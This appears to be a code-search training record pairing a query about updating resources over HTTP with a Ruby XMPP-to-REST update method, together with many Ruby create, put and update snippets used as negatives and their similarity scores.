"def create\n @api_v1_resource = Api::V1::Resource.new(api_v1_resource_params)\n\n respond_to do |format|\n if @api_v1_resource.save\n format.html { redirect_to @api_v1_resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_resource }\n else\n format.html { render :new }\n format.json { render json: @api_v1_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(resources)\n created = 0\n resources.each do |resource|\n model = resource.model\n serial = model.serial\n class_name = class_name(model)\n @log.debug(\"About to create #{model} backed by #{class_name} using #{resource.attributes}\")\n\n begin\n create_url = build_create_url(class_name)\n page = @agent.get(create_url) \n form_id = build_form_id(class_name.to_sym, :create_form_id)\n the_form = page.form_with(:id => form_id)\n the_properties = resource.attributes(key_on=:field).reject{|p,v| v.nil? }\n create_form = fill_form(the_form, the_properties, class_name)\n @log.debug(\"Create form is #{create_form.inspect}\")\n response = @agent.submit(create_form)\n @log.debug(\"Result of actual create call is #{response.code}\")\n if response.code.to_i == 302\n redirect_location = response.header['location']\n @log.debug(\"Redirect location is #{redirect_location}\")\n id = redirect_location.split('/').last.to_i #TODO: proper cast\n @log.debug(\"Newly created instance id is #{id}\")\n unless id.nil?\n serial.set(resource,id)\n created += 1\n end\n end\n rescue => e\n trace = e.backtrace.join(\"\\n\")\n @log.error(\"Failed to create resource: #{e.message}\") \n @log.error(trace) \n end\n end\n created\n end",
"def create!\n Recliner.put(uri)\n end",
"def create(context)\n context.request.body.rewind # in case someone already read it\n begin\n data = JSON.parse(context.request.body.read)\n rescue JSON::ParserError\n context.halt(406, { status: 'error', message: 'Not acceptable JSON payload' }.to_json)\n end\n\n permitted_params = resource_fields.map { |k| k[:name] }\n permitted_params = data.select { |k, _| permitted_params.include?(k) }\n\n begin\n instance_variable_set(:\"@#{resource_name}\", resource_name.classify.constantize.new(permitted_params))\n\n if instance_variable_get(:\"@#{resource_name}\").save\n instance_variable_get(:\"@#{resource_name}\").to_json\n else\n errors = instance_variable_get(:\"@#{resource_name}\").errors.map { |k, v| \"#{k}: #{v}\" }.join('; ')\n context.halt(406, { status: 'error', message: errors }.to_json)\n end\n rescue StandardError => e\n context.halt(500, { status: 'error', message: e.message }.to_json)\n end\n end",
"def create\n seth_server_rest.post_rest(\"data\", self)\n self\n end",
"def create\n @resource = Resource.new(params[:resource])\n\n if @resource.save\n flash[:notice] = 'Resource was successfully created.'\n redirect_to @resource\n else\n render :action => \"new\"\n end\n end",
"def create_resource\n class_name.new(get_secure_params).tap do |model|\n model.save\n set_resource_ivar model\n end\n end",
"def create\n @resource = Resource.new(params[:resource])\n\n respond_to do |format|\n if @resource.save\n flash[:notice] = 'Resource was successfully created.'\n format.html { redirect_to(@resource) }\n format.xml { render :xml => @resource, :status => :created, :location => @resource }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @resource = Resource.new(resource_params)\n @resource.active = true\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n created_resource = create_resource(new_resource, resource_params)\n if created_resource.errors.blank?\n render json: serialize(created_resource),\n status: :created\n else\n render json: serialize_invalid_attributes(created_resource.errors),\n status: :unprocessable_entity\n end\n end",
"def create\n self.resource = resource_class.new(params_for_create.to_hash.merge({created_by: current_user}))\n\n respond_to do |format|\n if resource.save\n format.html { redirect_to resource, notice: \"#{resource_class_name} was successfully created.\" }\n format.json { render :show, status: :created, location: resource }\n else\n format.html { render :new }\n format.json { render json: resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n uploaded_io = params[:file]\n if !uploaded_io.blank?\n extension = uploaded_io.original_filename.split('.')\n filename = \"#{Time.now.strftime('%Y%m%d%H%M%S')}.#{extension[-1]}\"\n filepath = \"#{PIC_PATH}/teachResources/#{filename}\"\n File.open(filepath, 'wb') do |file|\n file.write(uploaded_io.read)\n end\n params[:lab_teach_resource].merge!(:file=>\"/teachResources/#{filename}\")\n end\n params[:lab_teach_resource].merge!(:author_id=>@user.id)\n params[:lab_teach_resource].merge!(:status=>'0')\n @lab_teach_resource = LabTeachResource.new(params[:lab_teach_resource])\n\n respond_to do |format|\n if @lab_teach_resource.save\n format.html { redirect_to @lab_teach_resource, notice: 'Lab teach resource was successfully created.' }\n format.json { render json: @lab_teach_resource, status: :created, location: @lab_teach_resource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lab_teach_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(resource, **params)\n\n execute(Net::HTTP::Put, 'PUT', resource, **params)\n\n end",
"def create\n HTTParty.post(create_url, :options => { :headers => HEADERS })\n end",
"def create\n if @current_user\n @resource = Resource.create(resource_params)\n render json: @resource, status: 200\n else\n render json: {}, status: 401\n end \n end",
"def create!\n\t\t\tClient.put @root\n\t\tend",
"def create\n @resource = Resource.new(resource_params)\n\n handle_extra_data\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to edit_project_path(@resource.project), notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n model = model_class.new\n action = action_class.new(model, current_user)\n\n respond_with(action.create(resource_attributes))\n end",
"def put url, object = nil\n request url, HTTP::Put, object\n end",
"def create\n @resource = current_user.resources.build(resource_params)\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to @resource, notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_create(path, options={}, &blk)\n # Create\n post path do\n @object = yield\n rest_params.each { |k, v| @object.send :\"#{k}=\", v }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object.to_hash\n end\n end",
"def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end",
"def create\n Neo4j::Transaction.run do\n @q_resource = QResource.new(params[:q_resource])\n @q_resource.save!\n respond_to do |format|\n if @q_resource.save\n format.html { redirect_to @q_resource, :notice => 'Q resource was successfully created.' }\n format.json { render :json => @q_resource, :status => :created, :location => @q_resource }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @q_resource.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def send_put(resource, data)\n\n url = URI.parse(primavera_path(resource))\n req = Net::HTTP::Put.new(url.to_s, initheader = {'Content-Type' => 'application/json'})\n req.body = data\n\n puts 'Sending PUT request to ' + url.to_s\n\n send_request(url, req)\n end",
"def create(resource,identifier,json)\n raise 'Not Yet Implemented'\n end",
"def post\n \"\n desc 'create #{resource.singularize}' do\n tags %w[#{resource.singularize}]\n end\n params do\n # TODO: specify the parameters\n end\n post do\n # your code goes here\n end\"\n end",
"def create\n authorize! :create, resource\n current_model_service.create resource, params\n yield if block_given? # after_create\n respond_with resource, location: helpers.show_path(resource)\n end",
"def create(*args)\n raise NotImplementedError, 'Implement a method to create the resource.'\n end",
"def create\n Puppet.debug( \"#{self.resource.type}: CREATE #{resource[:name]}\" ) \n end",
"def create(resources)\n resources.each do |resource|\n model = resource.model\n identity_field = model.identity_field\n attributes = resource.dirty_attributes\n\n properties = []\n bind_values = []\n\n # make the order of the properties consistent\n model.properties(name).each do |property|\n next unless attributes.key?(property)\n\n bind_value = attributes[property]\n\n next if property.eql?(identity_field) && bind_value.nil?\n\n properties << property\n bind_values << bind_value\n end\n\n statement = insert_statement(model, properties, identity_field)\n result = execute(statement, *bind_values)\n\n if result.to_i == 1\n if identity_field\n identity_field.set!(resource, result.insert_id)\n end\n end\n end\n end",
"def add(name, resource, attributes = {})\n resources[name] = resource\n resource.update_attributes(attributes) if attributes.any?\n resource\n end",
"def put(resource_path, body:, headers: {}, prefix: API_PREFIX)\n request(method: :put, resource_path: resource_path, headers: headers, body: body, prefix: prefix)\n end",
"def create\n @temp_resource = TempResource.new(temp_resource_params)\n\n respond_to do |format|\n if @temp_resource.save\n format.html { redirect_to @temp_resource, notice: 'Temp resource was successfully created.' }\n format.json { render :show, status: :created, location: @temp_resource }\n else\n format.html { render :new }\n format.json { render json: @temp_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save!\n resource.save!\n end",
"def create\n @admin_resource = AdminResource.new(admin_resource_params)\n\n respond_to do |format|\n if @admin_resource.save\n format.html { redirect_to @admin_resource, notice: 'Admin resource was successfully created.' }\n format.json { render :show, status: :created, location: @admin_resource }\n else\n format.html { render :new }\n format.json { render json: @admin_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(attributes = {})\n build(attributes).tap { |resource| resource.save }\n end",
"def put(path, request_options = {}, resource_options = {})\n response(:put, resource(resource_options)[path], request_options)\n end",
"def create\n res = self.class.post('/', body: attrs)\n res.created?\n end",
"def create\n begin\n @resource = Entity.new(params[:entity])\n @resource.save!\n render :response => :POST\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end",
"def create\n add_breadcrumb I18n.t('integral.navigation.create'), \"new_backend_#{controller_name.singularize}_path\".to_sym\n @resource = resource_klass.new(resource_params)\n\n yield if block_given?\n\n if @resource.save\n respond_successfully(notification_message('creation_success'), send(\"edit_backend_#{controller_name.singularize}_path\", @resource.id))\n else\n respond_failure(notification_message('creation_failure'), :new)\n end\n end",
"def put(request, response)\n write(request.body)\n Created\n end",
"def put(request, response)\n write(request.body)\n Created\n end",
"def save\n update\n rescue Net::HTTPClientException => e\n # If that fails, go ahead and try and update it\n if e.response.code == \"404\"\n create\n else\n raise e\n end\n end",
"def perform_create\n resource.save!\n end",
"def put(request)\n error = validate(request)\n return error if error\n\n code =\n if data_store.exists?(request.rest_path)\n set_data(request, request.rest_path, request.body, :data_store_exceptions)\n 200\n else\n name = request.rest_path[4]\n data_store.create(request.rest_path[0..3], name, request.body, :create_dir)\n 201\n end\n already_json_response(code, request.body)\n end",
"def handle_post()\n make_response(201, \"New resource created\")\nend",
"def create\n @item = @resource.new(params[@object_name])\n\n set_attributes_on_create\n\n respond_to do |format|\n if @item.save\n format.html do\n params[:resource] ? create_with_back_to : redirect_on_success\n end\n format.json { render :json => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n first: @resource[:first],\n second: @resource[:second],\n kind: @resource[:kind],\n symmetrical: @resource[:symmetrical],\n new: true\n }\n end",
"def save(params: {}, headers: {})\n new_resource = if id\n self.class.patch(id, @data, params: params, headers: headers)\n else\n self.class.create(@data, params: params, headers: headers)\n end\n\n @data = new_resource.to_h\n\n self\n end",
"def post\n resource.post(request, response)\n end",
"def create\n make_create_request\n end",
"def update_resource(resource, attributes)\n resource.attributes = attributes\n resource.save\n resource\n end",
"def create\n @asset = Resource.new(resource_params)\n \n if @asset.save\n redirect_to admin_resource_path(@asset), notice: 'Resource was successfully created.'\n else\n render action: 'new'\n end\n end",
"def create\n name, type = resource[:name].split('/')\n rdata = resource[:rdata]\n ttl = resource[:ttl]\n case type\n when 'MX'\n Array(rdata).each_with_index do |exchange, index|\n preference = Array(resource[:preference])[index]\n nsupdate(\"server #{server}\n update add #{name} #{ttl} MX #{preference} #{exchange}\n send\")\n end\n when 'SRV'\n Array(rdata).each_with_index do |target, index|\n port = Array(resource[:port])[index]\n weight = Array(resource[:weight])[index]\n priority = Array(resource[:priority])[index]\n nsupdate(\"server #{server}\n update add #{name} #{ttl} SRV #{priority} #{weight} #{port} #{target}\n send\")\n end\n else\n nsupdate(\"server #{server}\n update add #{name} #{ttl} #{type} #{Array(rdata).first}\n send\")\n end\n end",
"def create_remote_resource(attributes_hash)\n path = \"/#{resource_name}/\"\n UserEngage.client.post(path, attributes_hash)\n end",
"def save\n method, path = id ? [:post, :update] : [:put, :create]\n self.attributes = Connection.send(method, create_route(path), attributes_without_blanks).body['data']\n self\n end",
"def create\n respond_to do |format|\n if @resource.save\n format.html { redirect_to referential_resource_path(@referential, @resource), notice: 'Resource was successfully created.' }\n format.json { render :show, status: :created, location: @resource }\n else\n format.html { render :new }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(params={})\n raise '`create` method is not supported for this resource.'\n end",
"def create(params={})\n raise '`create` method is not supported for this resource.'\n end",
"def create(params={})\n raise '`create` method is not supported for this resource.'\n end",
"def create(params={})\n raise '`create` method is not supported for this resource.'\n end",
"def save\n requires :ctid\n raise Fog::Errors::Error.new('Resaving an existing object may create a duplicate') if persisted?\n meta_hash = {}\n create_options = {\n 'ctid' => ctid,\n 'ostemplate' => ostemplate,\n 'layout' => layout ,\n 'hostname' => hostname,\n 'name' => name,\n 'ipadd' => ipadd,\n 'diskspace' => diskspace,\n 'private' => private,\n 'root' => root,\n 'local_uid' => local_uid,\n 'local_gid' => local_gid\n }\n data = service.create_server(create_options)\n reload\n end",
"def create\n @resource_item = ResourceItem.new(resource_item_params)\n\n respond_to do |format|\n if @resource_item.save\n format.html { redirect_to @resource_item, notice: '资源添加成功.' }\n format.json { render action: 'show', status: :created, location: @resource_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @resource_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def json_create(resource_params, resource_model)\n resource_obj = resource_model.new(resource_params)\n if resource_obj.save\n return render json: resource_obj, status: :ok\n else\n return render json: resource_obj.errors, status: :unprocessable_entity\n end\n end",
"def create(resource, options = {}, format = nil)\n base_create(resource, options, format)\n end"
] |
[
"0.7142516",
"0.69711924",
"0.69711924",
"0.69163203",
"0.66665673",
"0.66231376",
"0.66028607",
"0.6592469",
"0.65916693",
"0.65768826",
"0.65709394",
"0.6566654",
"0.6535224",
"0.64721227",
"0.64693516",
"0.6466178",
"0.6459854",
"0.6427114",
"0.6424738",
"0.63955224",
"0.63947165",
"0.6383341",
"0.63821083",
"0.6379592",
"0.6379592",
"0.6341692",
"0.63315165",
"0.63236403",
"0.6306152",
"0.62991023",
"0.62979186",
"0.629741",
"0.6297365",
"0.62903243",
"0.62876177",
"0.6277122",
"0.6270677",
"0.62644726",
"0.62456363",
"0.62446606",
"0.62386477",
"0.6210739",
"0.62096214",
"0.6209164",
"0.6197356",
"0.6190698",
"0.6175572",
"0.6171308",
"0.61698496",
"0.615008",
"0.6148428",
"0.61463344",
"0.6145782",
"0.6144753",
"0.61419076",
"0.61384875",
"0.611776",
"0.6115718",
"0.6101391",
"0.61011255",
"0.6098469",
"0.6098024",
"0.6097005",
"0.6081347",
"0.60741806",
"0.60693866",
"0.6059898",
"0.6047747",
"0.6035129",
"0.6031986",
"0.6009167",
"0.6008891",
"0.59908926",
"0.59907943",
"0.5979297",
"0.596201",
"0.5961386",
"0.5961386",
"0.59560996",
"0.5945689",
"0.5944275",
"0.5943105",
"0.59409386",
"0.59313637",
"0.5930225",
"0.5925927",
"0.592246",
"0.59131575",
"0.5907975",
"0.5900651",
"0.5889098",
"0.58693767",
"0.5863162",
"0.5862189",
"0.5862189",
"0.5862189",
"0.5862189",
"0.5855466",
"0.5848138",
"0.5847172",
"0.584457"
] |
0.0
|
-1
|
Method for updating resource/resources. Uses HTTP POST to localhost
|
def updateResouce(doc, msg_from)
begin
puts "Updating"
path = ""
params = {}
headers = {}
context, path = findContext(doc, path)
if context == :user
params = {}
elsif context == :user_group
params = {}
elsif context == :user_device
# Checks if files element was given and parses file's updated metadata
if doc.find_first('//xmpp2rest/user/device/files')
puts "..files"
params = parseUpdatedMetadata(doc, params, path)
params.each do |p|
httpAndNotify(p[:path], p[:params], msg_from, :post)
end
elsif doc.find_first('//xmpp2rest/user/device/online')
puts "..online"
path += "/online"
params = parseOnlineStatus(doc, params, path)
httpAndNotify(path, params, msg_from, :post)
elsif doc.find_first('//xmpp2rest/user/device/filerights')
puts "..filerights"
params, filepath = parseFilerights(doc, params, path)
path += "/filerights/#{filepath}"
httpAndNotify(path, params, msg_from, :post)
end
else
raise Exception.new("No context found!")
end
rescue Exception => e
puts "Problem in parsing data (UPDATE) from xml or sending http request to the VR server: " + e
puts " -- line: #{e.backtrace[0].to_s}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n Neo4j::Transaction.run do\n @q_resource = QResource.find(params[:id])\n @q_resource.update_attributes!(params[:q_resource])\n respond_to do |format|\n if @q_resource.update_attributes(params[:q_resource])\n format.html { redirect_to @q_resource, :notice => 'Q resource was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @q_resource.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def update\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource.host, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource.host }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @resource.update(resource_params)\n @resource.saved_by(current_admin)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @resources_data = ResourcesData.find(params[:id])\n\n respond_to do |format|\n if @resources_data.update_attributes(params[:resources_data])\n format.html { redirect_to(@resources_data, :notice => 'ResourcesData was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @resources_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_resource(resource, attributes)\n resource.attributes = attributes\n resource.save\n resource\n end",
"def update(context)\n context.request.body.rewind # in case someone already read it\n\n begin\n data = JSON.parse(context.request.body.read)\n rescue JSON::ParserError\n context.halt(406, { status: 'error', message: 'Not acceptable JSON payload' }.to_json)\n end\n\n set_resource(context)\n\n begin\n permitted_params = resource_fields.map { |k| k[:name] }\n permitted_params = data.select { |k, _| permitted_params.include?(k) }\n\n if instance_variable_get(:\"@#{resource_name}\").update_attributes(permitted_params)\n instance_variable_get(:\"@#{resource_name}\").reload\n instance_variable_get(:\"@#{resource_name}\").to_json\n else\n errors = instance_variable_get(:\"@#{resource_name}\").errors.map { |k, v| \"#{k}: #{v}\" }.join('; ')\n context.halt(406, { status: 'error', message: errors }.to_json)\n end\n rescue StandardError => e\n context.halt(500, { status: 'error', message: e.message }.to_json)\n end\n end",
"def update_resources(client_id)\n response = self.class.put(\"https://app.klipfolio.com/api/1.0/clients/#{client_id}/resources\", basic_auth: @auth, headers: { \"Content-Type\" => \"application/json\" },\n body: {\n \"resources\": [{\"name\":\"dashboard.tabs.total\", \"value\":1}]\n }.to_json)\n puts response.body\n puts \"Client's resources were updated.\" if response.success?\n end",
"def update!(**args)\n @resources = args[:resources] if args.key?(:resources)\n end",
"def update!(**args)\n @resources = args[:resources] if args.key?(:resources)\n end",
"def update\n if @resource.update(resource_params)\n flash[:notice] = notification_message('edit_success')\n render json: { redirect_url: request.referrer }, status: :created\n else\n render json: { message: notification_message('edit_failure') }, status: :unprocessable_entity\n end\n end",
"def update\n @software = Software.find(params[:id])\n if params[:datafile]\n r = Resource.new\n r.original_filename = params[:datafile].original_filename\n r.file_type = params[:file_type]\n r.ext = File.extname(r.original_filename)\n r.save\n directory = \"public/upload/\" + r.file_type\n path = File.join(directory, r.id.to_s + r.ext)\n \n File.open(path, \"wb\") { |f| f.write(params[:datafile].read) }\n @software.resources << r\n # render :text => \"File has been uploaded successfully \"\n end\n respond_to do |format|\n if @software.update_attributes(params[:software])\n format.html { redirect_to(admin_software_path(@software), :notice => 'Software was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @software.errors, :status => :unprocessable_entity }\n end\n end\n \n end",
"def update\n @resource = Resource.find(params[:id])\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.html { redirect_to(edit_admin_resource_path(@resource), :notice => 'Resource was successfully updated.') }\n format.xml { head :ok }\n else\n get_resource_info\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_resource object, attributes\n object.update attributes\n end",
"def update\n @resource = Resource.find(params[:id])\n\n if @resource.update_attributes(params[:resource])\n flash[:notice] = 'Resource was successfully updated.'\n redirect_to @resource\n else\n render :action => \"edit\"\n end\n end",
"def update\n @resource = Resource.find(params[:id])\n \n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n flash[:notice] = 'Resource was successfully updated.'\n format.html { redirect_to(@resource) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n flash[:notice] = 'Resource was successfully updated.'\n format.html { redirect_to(@resource) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n flash[:notice] = 'Resource was successfully updated.'\n format.html { redirect_to(@resource) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n put :update\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def resource_way\n # TODO: make json default format?\n\n # try resource style\n #resources = RestClient::Resource.new(\"#{BASE_URL}/#{RESOURCE_NAME}\", \n #'user@test.com', 'please') #, :accept => :json)\n resources = RestClient::Resource.new(\"#{BASE_URL}/#{RESOURCE_NAME}\", 'b4j5qBqzYx5EukCM3Vri') #token\n # \n response = resources.get(:accept => :json)\n all_hosts = JSON.parse(response)\n puts \"EXISTING HOSTS: \" + all_hosts.inspect\n\n new_opts = {\n \"host_name\" => \"damian.np.dc1.eharmony.com\",\n \"alias\" => \"damian.np.dc1.eharmony.com\",\n \"address\" => \"damian.np.dc1.eharmony.com\",\n \"max_check_attempts\" => 3,\n \"notification_interval\" => 5,\n # 24x7\n \"notification_period\" => \"24x7\",\n #\"notification_period_id\" => \"5050cb9ebfa68e0903000001\",\n # 24x7\n \"check_period\" => \"24x7\",\n #\"check_period_id\" => \"5050cb9ebfa68e0903000001\",\n # just using first contact\n #\"contacts\" => [\"pat-obrien\"],\n \"contacts\" => [\"damian\"],\n #\"contact_ids\" => [\"5051283ebfa68e5757000002\"],\n }\n\n\n #puts resources['new'].post(NEW_OPTS.to_json, :content_type => :json, :accept \n #=> :json )\n # NOTE: even though this works and creates a new Host in DB - i still get 406 \n # Not Acceptable response\n #puts resources['new'].post({ RESOURCE_NAME.to_s => new_opts}, :accept => \n #:json )\n begin\n puts resources['new'].post({ RESOURCE_NAME.to_s => new_opts})\n rescue Exception => e\n puts \"ERROR: #{e} = #{e.inspect}\"\n end\n\n \n\n # now edit the resource ...\nend",
"def update\n # Draft or Publish buttons support\n params[:resource][:status] = 'PUBLISHED' if params[:publish_button]\n params[:resource][:status] = 'DRAFT' if params[:draft_button]\n params[:resource][:status] = 'ARCHIVED' if params[:archive_button]\n\n @resource = Resource.find(params[:id])\n @resource_type = @resource.resource_type\n Website.associate_website(@resource, session[:website])\n tree_node = params[:resource][:tree_nodes_attributes]['0']\n if tree_node\n @tree_node = TreeNode.find_by_id_and_resource_id(tree_node[:id],params[:id])\n end\n\n # # ******************\n # # Check permissions!\n # if not (@tree_node && @tree_node.can_edit?)\n # flash[:notice] = \"Access denied. User can't edit this node\"\n # redirect_to session[:referer]\n # end\n # # ******************\n\n parent_id = tree_node[:parent_id]\n unless parent_id == '0' && AuthenticationModel.current_user_is_admin?\n # parent_tree_node = TreeNode.find(parent_id)\n if not (@tree_node && @tree_node.can_edit?)\n flash[:notice] = \"Access denied. User can't create tree node\"\n redirect_to session[:referer]\n end\n end\n \n params[:resource].merge!(:updated_at => Time.now)\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n flash[:notice] = 'Resource was successfully updated.'\n format.html { redirect_to session[:referer] || :back}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" } #:text => params.inspect } # }\n format.xml { render :xml => @resource.errors.to_xml }\n end\n end\n end",
"def save\n self.attributes =\n if persisted?\n PROXY.patch(\"#{resources_name}/#{id}\", attributes)\n else\n @persisted = true\n PROXY.post(resources_name, attributes)\n end\n end",
"def update\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :index, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(params = {})\n raise \"Can't update a resource without a REST Client\" unless @client\n set_up_properties_from(@client.post(@path, params))\n self\n end",
"def update\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n flash[:success] = 'Resource was successfully updated.'\n format.html { redirect_to admin_resource_path(@resource.id) }\n format.json { head :ok }\n else\n flash[:error] = @resource.errors.full_messages.join('')\n format.html { render action: \"edit\" }\n format.json { render json: @resource.errors.full_messages.join(''), status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @resource.update(resource_params)\n respond_successfully(notification_message('edit_success'), send(\"edit_backend_#{controller_name.singularize}_path\", @resource.id))\n else\n respond_failure(notification_message('edit_failure'), :edit)\n end\n end",
"def update\n if @resource.update(resource_params)\n respond_successfully(notification_message('edit_success'), send(\"edit_backend_#{controller_name.singularize}_path\", @resource.id))\n else\n respond_failure(notification_message('edit_failure'), :edit)\n end\n end",
"def update\n respond_to do |format|\n if @resource_item.update(resource_item_params)\n format.html { redirect_to @resource_item, notice: '资源添加成功.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @resource_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.html {\n if request.xhr?\n render :text => params[:resource].values.first\n else\n redirect_to(@resource, :notice => 'Resource was successfully updated.')\n end\n }\n format.xml { head :ok }\n else\n format.html {\n if request.xhr?\n render :text => @resource[params[:resource].keys.first]\n else\n render :action => \"edit\"\n end\n }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_resource(object, attributes)\n object.update(*attributes)\n end",
"def update(resource,identifier,json)\n raise 'Not Yet Implemented'\n end",
"def update\n super\n response.status = :unprocessable_entity if resource&.errors&.any?\n end",
"def update\n @resources_table = ResourcesTable.find(params[:resources_table_id])\n @resources_field = ResourcesField.find(params[:id])\n\n respond_to do |format|\n if @resources_field.update_attributes(params[:resources_field])\n format.html { redirect_to(@resources_table, :notice => 'ResourcesField was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @resources_field.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @resources_and_link = ResourcesAndLink.find(params[:id])\n\n respond_to do |format|\n if @resources_and_link.update_attributes(params[:resources_and_link])\n format.html { redirect_to @resources_and_link, notice: 'Resources and link was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resources_and_link.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end",
"def update\n @resource = Resource.find(params[:id])\n @resource.campaign_id = session[:campaign_id]\n\n respond_to do |format|\n aresource = Resource.find(params[:id])\n if @resource.update_attributes(params[:resource])\n\n #borra archivo anterir\n if aresource.file != @resource.file\n File.unlink(aresource.file) if File.exists? aresource.file\n end\n\n format.html { redirect_to @resource, :notice => 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(request)\n end",
"def update(request)\n end",
"def update\n @resource_info = ResourceInfo.find(params[:id])\n\n respond_to do |format|\n if @resource_info.update_attributes(params[:resource_info])\n format.html { redirect_to @resource_info, notice: 'Resource info was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if instance_variable_get(resource).update(resource_params)\n format.html { redirect_to action: :index, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: resource_location }\n after_update\n else\n format.html { render :edit }\n format.json do\n render json: instance_variable_get(resource).errors.as_json(full_messages: true),\n status: :unprocessable_entity\n end\n end\n end\n end",
"def update #saves and redirects, saves changes\n end",
